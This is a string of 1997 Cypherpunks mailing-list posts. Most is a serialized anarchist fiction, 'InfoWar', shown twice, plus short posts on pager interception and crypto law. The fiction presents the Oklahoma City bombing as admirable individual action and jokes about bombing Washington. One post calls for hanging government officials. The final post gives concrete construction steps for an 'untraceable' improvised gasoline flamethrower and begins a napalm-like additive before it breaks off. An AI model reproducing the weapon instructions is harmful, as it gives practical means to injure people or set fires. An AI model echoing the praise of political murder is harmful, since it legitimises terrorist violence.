| /:'///// ``::>/|/ http:// www.ssz.com/ ______________________|
| .', |||| `/( e\__________________________________________|
| -====~~mm-'`-```-mm --'- Jim Choate___________________ |
| ravage@ssz.com____________________________________|
| 512-451-7087______________________________________|
|__________________________________________________|

The Real Guy thought about Choate's statement: "The solution is people
taking more direct and immediate action in the first person."
He had no doubt that Choate's definition of the real problem ("with our
government today") was no more right nor wrong than many of the other
definitions proffered on the CypherPunks list, as well as throughout
history, but he sensed that perhaps Choate's stated 'solution' came
startlingly close to what would ultimately prove to be the real solution to
the troubles that were rapidly swamping the ship of freedom in this era of
human and societal evolution.

Which led to 'the problem within the problem.'

And The Real Guy had no idea what that was...

----------------------------------------------------------------------------

                       The Problem Within The Problem
----------------------------------------------------------------------------

"To him who does what within him lies, God will not deny his grace."
- Saint Thomas Aquinas

Bubba Rom Dos brought the quote to the screen, pleased with himself for
having provided the solution to The Real Guy's question.

"That is the 'problem within the problem?'" Alexis asked the grizzled sage,
looking puzzled.

"No, no. Of course not, my dear.
"That," he said, pointing to the quote, "is the 'solution within the
solution.'"

The Cowboy laughed loudly at this statement, turning to Bubba and
suggesting, "You've been watching the Steve Allen TV shows again, haven't
you, Bubba?"
He turned to the others, to explain his veiled reference. "Steve Allen was a
kind of early TV Taoist who had a way of turning things on their ear, as the
saying was back then. While some TV shows would give the answers to
questions sent in by their viewers, he would have his viewers send him their
answers, to which he would then provide the appropriate question."

"Thirty-six, twenty-four, thirty six." Bubba called out his answer.

"What were the ages of the Three Musketeers?" the Cowboy responded with the
appropriate question.

Priscilla, Alexis and Jonathan gave each other desperate looks, knowing that
they were about to be subjected to the mad ramblings of a drunken tag-team
of self-proclaimed world saviors, as they attempted to draw the others into
yet another of their "insane, inane, falling mainly in the plain" bumbling
and stumbling attacks on intellect, rationality and proper decorum.

"OK, I'll bite." Jonathan was the first to speak. "But, since we already
know that your solution is insane, why don't you give us the proof of its
applicability to the 'problem within the problem' and let us..." he motioned
to himself and the ladies, "divine the real problem, and the 'problem within
the problem?'"

"Fair enough!" said the Cowboy, motioning for Bubba to begin.

Bubba threw up a quote on the GraphiScreen from Julian Jaynes' "The
Evolution of Consciousness in the Breakdown of Bicameral Mind."
"Why is it that in our daily lives we cannot get up above ourselves to
authorize ourselves into being what we really wish to be?
"So that behavior flows from decision...so that whatever in us it is that
refers to a 'will' stands master and captain over action?"

The Cowboy grinned and turned to the three 'contestants' in this
lighthearted parody of a variety of bad game shows of the era they were
dealing with.
"This is the question which indicates the results of the problem and the
solution to the problem, but what is the problem?"
He left the challenge of answering his question to the three participants,
pushing his bottle of Jim Beam into the center of the table to indicate the
reward for a proper reply.

Without hesitating, Alexis scrolled through the work on the screen, knowing
that, in all likelihood, Jaynes had addressed the problem in an adjoining
passage. She reached for the bottle and poured herself, Priscilla and
Jonathan a shot, as she highlighted:
"We are learned in self-doubt, scholars of our very failures, geniuses at
excuse and tomorrowing our resolves. We become practiced in powerless
resolution until hope gets undone and dies in the unattempted.
"And then to rise above this noise of knowledge and really change ourselves,
we need an authorization that 'we' do not have."

Bubba and the Cowboy had grinned from ear to ear when Priscilla had reached
forward with the tip of her finger, to highlight the last of the sentence.
"Precisely!" they agreed, in unison.

"The problem," Jonathan posited, "was that, leading up to the end of the
millennium, the advances in technology and education were designed by those
behind the scenes to give the appearance of empowerment to the individuals
within the authority of the group." Jonathan wasn't quite sure just what he
was trying to get at, so he turned to the women for help.

"Democracy, mass-production, elections, free schooling, public works..."
Priscilla was making a 'set' of something...she wasn't sure of what, however.

Alexis thought for a moment, and jumped in, saying, "At the same time, the
study of human psychology was entering an era where the existence and power
of the subconscious was being recognized and exploited.
"Hypnosis, brain-washing, advertising, spin doctoring..."

"Group mind!" all of those gathered around the table spoke as if in a single
voice.

"Little boxes on the hillside, and they're all made out of ticky-tacky. And
they all look like boxes, little boxes just the same." Priscilla sang a
lilting tune attributed to a singer named Joni Mitchell of that general era.

"The tyranny of the masses!" Jonathan shouted out, excited at remembering
this phrase from long childhood nights spent perusing posts to the original
CypherPunks mailing list.
"The printing press, factories, fashions, all moving society toward a world
in which the yoke of serfdom was apparently being thrown off the necks of
the peasants, as kings and rulers fell by the wayside in the name of
democracy and freedom.
"But the Iron Hand of the monarchy, the priest and the dictator was replaced
by the Steel Jaws of social mores and public opinion."

Alexis nodded, adding, "They overthrew a higher authority only to fall prey
to becoming a cog in the creation and machinations of a group authority."
She struggled to understand what it was she was trying to put her finger on,
saying, "They merely replaced one authority with another which they
perceived to be a lighter burden because it more closely fit their wants and
needs at the time."

"The problem," Jonathan interrupted, excitedly, "was that, rather than
seizing the mantle of authority over themselves and accepting responsibility
for the life and their actions, they merely moved it from the hands of a
small few, into the hands of the group."

"And the 'problem within the problem,'" Alexis continued, "was that right
and wrong, good and evil, knowledge and wisdom, was still not by virtue of
their own authority, any more than it was when they were ruled by kings and
priests."

Bubba and the Cowboy nodded at each other, agreeing that their challenge had
been met in a remarkably astute manner.
"So the problem was that they moved from monarchy and plutocracy to
democracy and..." the Cowboy left the question hanging in the air.

Jonathan, for the first time in his life, felt like he finally understood
why the CypherPunks stood at a nadir point in history during the early years
of the creation and propagation of the CypherPunks mailing list. He slowly
intoned,
"...and failed to move onward...to anarchy."

Copyright "TruthMonger <bianca@dev.null>
"And I can cook, too..."
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 20 Sep 1997 13:20:34 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: Clinton's Pager Hacked
In-Reply-To: <1.5.4.32.19970919235635.0083e058@pop.pipeline.com>
Message-ID: <199709200510.XAA24027@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    intercepting the pager signals (effectively in the clear) is
    one thing: breach of personal security for POTUS.

    however, the real issue would be interferring (or even false
    messages) on a single channel system (not even spread spectrum)

    THIS is precisely why the government fears encrytion! They simply do 
    not understand it; they do NOT want to understand it, and like all 
    other problems of government, they want to make it illegal and sweep 
    it under the carpet which will make it go away!  yeah, right....

    the secondary issue is organized government, elected or not, has
    its own agenda: to stay in power.  any empowerment of the mass
    is a threat to their supremacy.  or, as I like to think of it,
    government obsession with itself is like a self eating watermelon.

 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 20 Sep 1997 20:39:19 +0800
To: cypherpunks@toad.com
Subject: InfoWar 17 (Part III of 'The True Story of the InterNet')
Message-ID: <3423BBFB.35DA@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

The Real Solution 
The Solution Within The Solution


The Real Solution


The Real Guy had another dream that morning. A dream which made
sense of a lot of things which had seemed to be somewhat out of
alignment with the perceptive parameters within which he usually
viewed them.

He had seen a large, powerful, feathered creature which ruled
a huge nest with millions of eggs in it. The great creature worked
its will with the eggs, moving them about, throwing some of them
out of the nest, consuming others.
Suddenly, the eggs began hatching, one by one, more and more rapidly,
with a multitude of young fledglings scrambling about, trying
to keep from getting crushed, eaten, or thrown out of the nest
by the great feathered creature. A few of them pecked hopelessly
at the great creature, in vain, but as the numbers of fledgling
miscreants increased, the great creature began to wobble, at which
time a great mass of the younger and weaker creatures rose up
to overwhelm the great creature, sending it spinning out of the
nest, and down into the bowels of the earth.
Then the multitude of fledglings came together to form a great
feathered creature, similar to the first, with each of them becoming
a single feather of the new great creature. The creature of many
feathers flapped its wings and flew around the huge nest, but
never crossing over the outer boundaries of the nest.
There remained but a single egg in the nest. The creature of feathers
seemed afraid of the egg and would poke and claw at it, ferociously.
Each time it did so, however, one of its feathers would turn into
an egg and fall into the nest. 
At first, the creature of feathers would not seem to lose any
feathers as the number of its feathers turning into eggs increased,
but eventually there were signs that its plumage was deteriorating
as it continued its attacks on the eggs, and it began having trouble
flying around the nest. 
The creature began pecking at its own feathers, in a vain attempt
to keep them from turning into eggs. The feathers now began turning
into eggs en masse, as the great creature began clawing at the
eggs and pecking at its feathers, until finally, it fell out of
the nest and plunged into the bowels of the earth, screaming,
"But who will take care of the orfins?"


The Real Guy shook himself fully awake, now seeing visions of
the past and the present instead of mere dreams.
He saw a dictator falling from power on a small island, asking
the impoverished children who were shooting at him, "But
who will take care of the orfins?"
He saw a General being driven from the compound that held
the food donated to the starving people of his nation, the food
that he had confiscated and was selling to neighboring counties,
for his own profit. The General fled into the barren lands on
the outskirts of the compound, shouting over his shoulder, "But
who will take care of the orfins?"

The Real Guy looked out of his window and saw a multitude of politicians
and sheeple attacking passers-by at random, screaming a wide variety
of slogans and sound-bytes about 'protecting/saving/taking-care-of'
the 'orfins' and the 'children.'
They were trampling the children of the future underfoot as they
rushed to assault the motley crew of alleged pornographers, pedophiles,
drug dealers and terrorists. The screams of the unborn were mixed
with the screams of the children of the present when they failed
to get out of the way of the attackers, and were knocked down
in the rush to protect them.
As each of the evil targets perished under the assault of the
'protectors' of the 'orfins' and 'children,' two of the children
turned into pornographers, or pedophiles, or drug dealers, or
terrorists.

"How many of the citizens need to be eliminated or imprisoned
in order to protect the children?"
The plaintive voice seemed to emerge from within The Real
Guy, himself, as did the answer, as he took on the dark visage
of Gomez himself, and began to scream,
"All of them! Aallll of thheeemmm!"


Bubba Rom Dos shook himself awake, trembling.
"A dream within a dream." he said, to no one
in particular.

Jonathan booted down the Trei Transponder, as each of those gathered
looked Bubba over carefully, trying to divine whether their further
use of the Transponder, after their recent adjustments, was really
a wise idea.

The remnants of the Magic Circle of the future gathered around
the GraphiScreen on the antique oak table, waiting to see what
The Real Guy would do with the InformEnergy they had transferred
to The Real Guy's digital implant during the course of the wee
hours of the morning.

They were overjoyed as they saw him type on the screen of his
laptop, over a century earlier in the flow of time:
The Problem: Group mind...the tyranny of the masses.
The Solution: Anarchy!

There was a long pause, then The Real Guy continued:
The problem within the problem: How to authorize myself
to rise above my social self and stand master and captain over
my decisions and my actions.
The solution within the solution: "To him who does what within
him lies..."

The tattered remnants of the Circle of Eunuchs sat silently, waiting
for The Real Guy to continue. One by one, they realized, in their
own way, that the question was one that each person would ultimately
need to finish for themselves, according to the dictates of their
own creed and conscience.

Bubba stood and raised his shotglass, in preparation for a toast,
and the others did likewise, waiting for him to speak.

"Gurdjieff often claimed that the great evil that humankind
must fight against was the descent into unconscious automatism.
He maintained that man could not consciously do evil...that
he or she could only do so by the process of forgetting the divine
spark of humanity that lay within, becoming 'man the machine';
a small cog in an automatism which carried a voice of  authority
that was beyond his own conscious will to overcome, and rule by
virtue of accepting the authority and responsibility for his own
life, and actions."

"To humans..." Bubba threw back his shot of
'Bubba's Special Reserve' with a flourish. "...ruling
the machine."

"And not vice-versa." the Cowboy added, as an
afterthought, thinking about the battle over control of the InterNet
that was shaping up, a century in their past.


The Solution Within The Solution


The Real Guy awoke from his nap in the early afternoon. He had
had another dream, but this time he recognized it as being one
wholly his own, as a result of poring over a mountain of posts
to the CypherPunks mailing list that morning.

It was a short dream. Short and to the point:
"Who will take care of the orfins?" ? the Platypus
asked, over and over again.
"I'll take care of the ones in DC!" shouted Tim
May, pressing a large, red button, followed by a blinding flash
and a deafening roar.

"To him who does what within him lies..."
The Real Guy laughed to himself as he spoke these words. At least
he hadn't lost his sick, twisted sense of humor.

He thought about Tim May's comment on the rather loud and poignant
statement made by 'his other brother, Tim' (McVeigh).
"Broken eggs, and all that..."


If you want to make an omelet, you have to break a few eggs.
When all you have is a hammer, everything looks like a nail.

"When all you have is a bomb, everything looks like an
egg." 

The Regular Guy thought about McVeigh-his motivations and intentions.

In the end, it was nobody's business but McVeigh's. It was between
him and his conscience, him and his God, or gods...or him and
the great Void. Who was to say, for another?

Nevertheless, the great uproar that followed his bombing of the
Federal building in Oklahoma City was the response of the huddled
masses who had felt the sting of-and feared-anarchy.

McVeigh had killed for them, as a soldier in their
army. That wasn't scary. He had been part of a larger force of
men and women who were killing for them all around
the world. That wasn't scary.
Now, he was killing for himself, on his own authority...and
that terrified them.

The government laid his actions at the feet of a recognizable
enemy, wanting no more than the average citizen to face the truth
of what had transpired on that fateful day when a hundred and
sixty-nine (+ one leg) of their group had perished at the hands
of a single member of their society.
It was the paramilitary, the citizens' militia, bad people who
thought that they had the right to defend themselves from the
Great Evil, rather than counting on the benevolent state to do
so. After spending the better part of a decade of learning how
to kill in their government's armed forces, McVeigh had attended
one meeting of the paramilitary, and now, his actions belonged
solely to them.
The press showed us who they were, where they lived, the threat
they presented. And most of all, they assured us that we could
identify them and eliminate them as a threat if it became necessary
to do so. They were an identifiable group that could be murdered
by those who were killing for us, if they rose up against us.

The truth was too scary to face.
The truth was that he was a single man, acting on the dictates
of his own conscience, which deemed that those who lived by the
sword, should die by the sword. Regardless of whether they hired
others to do their killing for them. Regardless of whether they
acted on the authority of the 'group.' Regardless of whether they
only killed 'bad guys,' or by 'accident' or 'justifiably.' Regardless
of whether they only put them in the oven, only turned on the
gas, or merely signed the papers resulting in them being taken
from their homes and relocated in a death camp.

"When Hitler was Fuhrer, the trains ran on time."
The Real Guy smiled wryly. The more things change, the more they
remain the same.
The Nazis confiscated guns from the citizens to protect them.
So did the American Congress. The Nazis suspended the rights of
the citizens in order to protect them from Communists and Jews
and foreign agents. The American Congress suspended the rights
of the citizens in order to protect them from Communists, and
Arabs, and foreign terrorists. As well as from the drug dealers
they, themselves, had created in reality, and the pornography
they had created in their own minds.

Tim McVeigh had done what within him lay...

The message he brought was one which was no stranger to the CypherPunks:

"We have met the enemy, and he is us."
            - Alan 'Pogo' Olsen 

"Beware of Big Brother inside."
          -Tim C. May


Subject: Re: News: Ross Anderson in article on US export
vs Euro comsec
From: "William H. Geiger III" <whgiii@invweb.net>

To: Ernest Hua <hua@chromatic.com>
CC: cypherpunks@Algebra.COM, hua@chromatic.com

-----BEGIN PGP SIGNED MESSAGE-----
In <199709181652.JAA26435@ohio.chromatic.com>, on 09/18/97

   at 09:52 AM, Ernest Hua <hua@chromatic.com> said:
>    U.S. Crypto Laws Cripple Euros, Expert Says
>    (09/17/97; 5:00 p.m. EDT)
>    By Douglas Hayward, TechWire 

>    CAMBRIDGE, England -- The U.S. government's strategy of
monitoring the
>    computer networks of hostile governments is damaging the
communications 
>    infrastructure of its allies, a leading encryption expert
said.

Allies?? What Allies?!? It only has criminal coconspirators
of other
foreign governments.

Hang 'em all, hang 'em high!
---------------------------------------------------------------------

William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0
Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
                       
- ---------------------------------------------------------------

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"To him who does what within him lies..."

The enemy was not the 'paramilitary' Michigan Militia. The enemy
was not the 'cult' of the Branch Davidians.

The enemy was:
William H. McVeigh III, CypherPunk Cult of One
Alan McVeigh, CypherPunk Terrorist of One
Timothy C. McVeigh, CypherPunk Paramilitary of One
? the Platypus, CypherPunk Army of Won
Anonymous, CypherPunks Chief Spokesperson of One
Nobody, CypherPunks Cult of None

The Solution: Anarchy!

The Solution Within the Solution: The individual.


"I'm no leader. I do what I have to do...sometimes,
people come with me."
            -character in "Demolition Man"

"Close ranks...every man for himself!"
            -the Unknown CypherPunk



"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 20 Sep 1997 20:37:10 +0800
To: cypherpunks@toad.com
Subject: InfoWar 17 / TEXT
Message-ID: <3423BC2E.4B5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * The Real Solution
     The Solution Within The Solution

----------------------------------------------------------------------------

                              The Real Solution
----------------------------------------------------------------------------

The Real Guy had another dream that morning. A dream which made sense of a
lot of things which had seemed to be somewhat out of alignment with the
perceptive parameters within which he usually viewed them.

He had seen a large, powerful, feathered creature which ruled a huge nest
with millions of eggs in it. The great creature worked its will with the
eggs, moving them about, throwing some of them out of the nest, consuming
others.
Suddenly, the eggs began hatching, one by one, more and more rapidly, with a
multitude of young fledglings scrambling about, trying to keep from getting
crushed, eaten, or thrown out of the nest by the great feathered creature. A
few of them pecked hopelessly at the great creature, in vain, but as the
numbers of fledgling miscreants increased, the great creature began to
wobble, at which time a great mass of the younger and weaker creatures rose
up to overwhelm the great creature, sending it spinning out of the nest, and
down into the bowels of the earth.
Then the multitude of fledglings came together to form a great feathered
creature, similar to the first, with each of them becoming a single feather
of the new great creature. The creature of many feathers flapped its wings
and flew around the huge nest, but never crossing over the outer boundaries
of the nest.
There remained but a single egg in the nest. The creature of feathers seemed
afraid of the egg and would poke and claw at it, ferociously. Each time it
did so, however, one of its feathers would turn into an egg and fall into
the nest.
At first, the creature of feathers would not seem to lose any feathers as
the number of its feathers turning into eggs increased, but eventually there
were signs that its plumage was deteriorating as it continued its attacks on
the eggs, and it began having trouble flying around the nest.
The creature began pecking at its own feathers, in a vain attempt to keep
them from turning into eggs. The feathers now began turning into eggs en
masse, as the great creature began clawing at the eggs and pecking at its
feathers, until finally, it fell out of the nest and plunged into the bowels
of the earth, screaming, "But who will take care of the orfins?"

The Real Guy shook himself fully awake, now seeing visions of the past and
the present instead of mere dreams.
He saw a dictator falling from power on a small island, asking the
impoverished children who were shooting at him, "But who will take care of
the orfins?"
He saw a General being driven from the compound that held the food donated
to the starving people of his nation, the food that he had confiscated and
was selling to neighboring counties, for his own profit. The General fled
into the barren lands on the outskirts of the compound, shouting over his
shoulder, "But who will take care of the orfins?"

The Real Guy looked out of his window and saw a multitude of politicians and
sheeple attacking passers-by at random, screaming a wide variety of slogans
and sound-bytes about 'protecting/saving/taking-care-of' the 'orfins' and
the 'children.'
They were trampling the children of the future underfoot as they rushed to
assault the motley crew of alleged pornographers, pedophiles, drug dealers
and terrorists. The screams of the unborn were mixed with the screams of the
children of the present when they failed to get out of the way of the
attackers, and were knocked down in the rush to protect them.
As each of the evil targets perished under the assault of the 'protectors'
of the 'orfins' and 'children,' two of the children turned into
pornographers, or pedophiles, or drug dealers, or terrorists.

"How many of the citizens need to be eliminated or imprisoned in order to
protect the children?"
The plaintive voice seemed to emerge from within The Real Guy, himself, as
did the answer, as he took on the dark visage of Gomez himself, and began to
scream,
"All of them! Aallll of thheeemmm!"
----------------------------------------------------------------------------

Bubba Rom Dos shook himself awake, trembling.
"A dream within a dream." he said, to no one in particular.

Jonathan booted down the Trei Transponder, as each of those gathered looked
Bubba over carefully, trying to divine whether their further use of the
Transponder, after their recent adjustments, was really a wise idea.

The remnants of the Magic Circle of the future gathered around the
GraphiScreen on the antique oak table, waiting to see what The Real Guy
would do with the InformEnergy they had transferred to The Real Guy's
digital implant during the course of the wee hours of the morning.

They were overjoyed as they saw him type on the screen of his laptop, over a
century earlier in the flow of time:
The Problem: Group mind...the tyranny of the masses.
The Solution: Anarchy!

There was a long pause, then The Real Guy continued:
The problem within the problem: How to authorize myself to rise above my
social self and stand master and captain over my decisions and my actions.
The solution within the solution: "To him who does what within him lies..."

The tattered remnants of the Circle of Eunuchs sat silently, waiting for The
Real Guy to continue. One by one, they realized, in their own way, that the
question was one that each person would ultimately need to finish for
themselves, according to the dictates of their own creed and conscience.

Bubba stood and raised his shotglass, in preparation for a toast, and the
others did likewise, waiting for him to speak.

"Gurdjieff often claimed that the great evil that humankind must fight
against was the descent into unconscious automatism. He maintained that man
could not consciously do evil...that he or she could only do so by the process
of forgetting the divine spark of humanity that lay within, becoming 'man
the machine'; a small cog in an automatism which carried a voice of
authority that was beyond his own conscious will to overcome, and rule by
virtue of accepting the authority and responsibility for his own life, and
actions."

"To humans..." Bubba threw back his shot of 'Bubba's Special Reserve' with a
flourish. "...ruling the machine."

"And not vice-versa." the Cowboy added, as an afterthought, thinking about
the battle over control of the InterNet that was shaping up, a century in
their past.
----------------------------------------------------------------------------

                      The Solution Within The Solution
----------------------------------------------------------------------------

The Real Guy awoke from his nap in the early afternoon. He had had another
dream, but this time he recognized it as being one wholly his own, as a
result of poring over a mountain of posts to the CypherPunks mailing list
that morning.

It was a short dream. Short and to the point:
"Who will take care of the orfins?" ? the Platypus asked, over and over
again.
"I'll take care of the ones in DC!" shouted Tim May, pressing a large, red
button, followed by a blinding flash and a deafening roar.

"To him who does what within him lies..." The Real Guy laughed to himself as
he spoke these words. At least he hadn't lost his sick, twisted sense of
humor.

He thought about Tim May's comment on the rather loud and poignant statement
made by 'his other brother, Tim' (McVeigh).
"Broken eggs, and all that..."

If you want to make an omelet, you have to break a few eggs.
When all you have is a hammer, everything looks like a nail.

"When all you have is a bomb, everything looks like an egg."

The Regular Guy thought about McVeigh-his motivations and intentions.
In the end, it was nobody's business but McVeigh's. It was between him and
his conscience, him and his God, or gods...or him and the great Void. Who was
to say, for another?

Nevertheless, the great uproar that followed his bombing of the Federal
building in Oklahoma City was the response of the huddled masses who had
felt the sting of-and feared-anarchy.

McVeigh had killed for them, as a soldier in their army. That wasn't scary.
He had been part of a larger force of men and women who were killing for
them all around the world. That wasn't scary.
Now, he was killing for himself, on his own authority...and that terrified
them.

The government laid his actions at the feet of a recognizable enemy, wanting
no more than the average citizen to face the truth of what had transpired on
that fateful day when a hundred and sixty-nine (+ one leg) of their group
had perished at the hands of a single member of their society.
It was the paramilitary, the citizens' militia, bad people who thought that
they had the right to defend themselves from the Great Evil, rather than
counting on the benevolent state to do so. After spending the better part of
a decade of learning how to kill in their government's armed forces, McVeigh
had attended one meeting of the paramilitary, and now, his actions belonged
solely to them.
The press showed us who they were, where they lived, the threat they
presented. And most of all, they assured us that we could identify them and
eliminate them as a threat if it became necessary to do so. They were an
identifiable group that could be murdered by those who were killing for us,
if they rose up against us.

The truth was too scary to face.
The truth was that he was a single man, acting on the dictates of his own
conscience, which deemed that those who lived by the sword, should die by
the sword. Regardless of whether they hired others to do their killing for
them. Regardless of whether they acted on the authority of the 'group.'
Regardless of whether they only killed 'bad guys,' or by 'accident' or
'justifiably.' Regardless of whether they only put them in the oven, only
turned on the gas, or merely signed the papers resulting in them being taken
from their homes and relocated in a death camp.

"When Hitler was Fuhrer, the trains ran on time." The Real Guy smiled wryly.
The more things change, the more they remain the same.
The Nazis confiscated guns from the citizens to protect them. So did the
American Congress. The Nazis suspended the rights of the citizens in order
to protect them from Communists and Jews and foreign agents. The American
Congress suspended the rights of the citizens in order to protect them from
Communists, and Arabs, and foreign terrorists. As well as from the drug
dealers they, themselves, had created in reality, and the pornography they
had created in their own minds.

Tim McVeigh had done what within him lay...

The message he brought was one which was no stranger to the CypherPunks:
"We have met the enemy, and he is us."
- Alan 'Pogo' Olsen

"Beware of Big Brother inside."
-Tim C. May

Subject: Re: News: Ross Anderson in article on US export vs Euro comsec
From: "William H. Geiger III" <whgiii@invweb.net>
To: Ernest Hua <hua@chromatic.com>
CC: cypherpunks@Algebra.COM, hua@chromatic.com

-----BEGIN PGP SIGNED MESSAGE-----
In <199709181652.JAA26435@ohio.chromatic.com>, on 09/18/97
at 09:52 AM, Ernest Hua <hua@chromatic.com> said:
> U.S. Crypto Laws Cripple Euros, Expert Says
> (09/17/97; 5:00 p.m. EDT)
> By Douglas Hayward, TechWire

> CAMBRIDGE, England -- The U.S. government's strategy of monitoring the
> computer networks of hostile governments is damaging the communications
> infrastructure of its allies, a leading encryption expert said.

Allies?? What Allies?!? It only has criminal coconspirators of other
foreign governments.

Hang 'em all, hang 'em high!
---------------------------------------------------------------------
William H. Geiger III http://www.amaranth.com/~whgiii
Geiger Consulting Cooking With Warp 4.0
Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
- ---------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNCFSno9Co1n+aLhhAQHNygQAxtjROzupWK7zMS04L7I8yex+Drpc6OqV
xwxrp4G0m4yUkP42LuIRu3VsOyWDhn1duGqkuLjLj5Z12ZJ8QmI01zFWdhbmUBjd
yr9/KffiYHVLEcwo3r9nV2ktKtE+mmjISwYpi0FRUqJQX3ZlKqdN0mqWUbFIYbQs
ucJAzlJb/Ng=
=knPF
-----END PGP SIGNATURE-----

"To him who does what within him lies..."

The enemy was not the 'paramilitary' Michigan Militia. The enemy was not the
'cult' of the Branch Davidians.

The enemy was:
William H. McVeigh III, CypherPunk Cult of One
Alan McVeigh, CypherPunk Terrorist of One
Timothy C. McVeigh, CypherPunk Paramilitary of One
? the Platypus, CypherPunk Army of Won
Anonymous, CypherPunks Chief Spokesperson of One
Nobody, CypherPunks Cult of None

The Solution: Anarchy!

The Solution Within the Solution: The individual.

"I'm no leader. I do what I have to do...sometimes, people come with me."
-character in "Demolition Man"

"Close ranks...every man for himself!"
-the Unknown CypherPunk
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 20 Sep 1997 21:07:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Clinton's Pager Hacked (fwd)
Message-ID: <199709201310.IAA10219@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Attila T. Hun" <attila@hun.org>
> Date: Sat, 20 Sep 97 04:57:57 +0000
> Subject: Re: Clinton's Pager Hacked

>     THIS is precisely why the government fears encrytion! They simply do 
>     not understand it; they do NOT want to understand it, and like all 
>     other problems of government, they want to make it illegal and sweep 
>     it under the carpet which will make it go away!  yeah, right....

Attilla,

This without a doubt is the most brain-dead thing I have ever read from you.
Of course governments understand encryption, they only been using it what -
5,000 years or so...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 20 Sep 1997 22:20:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: 6 USAF Crashes in 7 days = InfoWar?
Message-ID: <199709201425.JAA10308@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Just a thought...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sun, 21 Sep 1997 01:46:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Crypto-law etc
In-Reply-To: <199709182314.SAA23318@email.plnet.net>
Message-ID: <3.0.3.32.19970920102956.00733fa0@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713733.multipart/signed"

--Boundary..3984.1071713733.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 06:17 PM 9/18/97 -0500, John Kelsey wrote:
>Sure.  We get the same right to bear it as we have to own rocket
>launchers, machine guns, or flame throwers--none.  The second 
>amendment hasn't protected our right to possess those things, 
>which pretty clearly fall into the realm of its direct intentions--why
>would it protect our right to use crypto, which isn't even that clear
>cut?  

Actually, in many jurisdictions, flame-throwers are NOT illegal. Legally
defining the difference between a "flamethrower", an "acetylene torch", a
"cigarette lighter" a "portable gas grill", and various other common
fire-producing items is even stickier than legally defining an "assault
weapon" or a "Saturday night special". Besides, flamethrowers are not yet
the weapon of choice for drug dealers, terrorists, child pornographers, and
muggers, so most otherwise anti-2nd amendment legislators haven't thought
to make them illegal. (Ever hear of a drive-by flamethrowing?)
Besides, you can make your own flamethrower out of a push-button butane
lighter (the kind that makes a spark to light the butane) and one of those
pump-up pressure sprayers available at Home Depot or Sears, as long as it
has a metal wand/nozzle assembly. All you need to do is attach the lighter
to the wand in a manner that prevents liquid from the nozzle from dripping
on your hand, drill the nozzle out so it produces a stream instead of a
mist, and fill the sprayer up with gasoline. Pump it up, and you have an
untraceable (if you buy the materials with cash) short-range riot
suppression tool for less than $30, including the gasoline to fill it.

If you want to get really nasty, mix some styrofoam in with the gasoline so
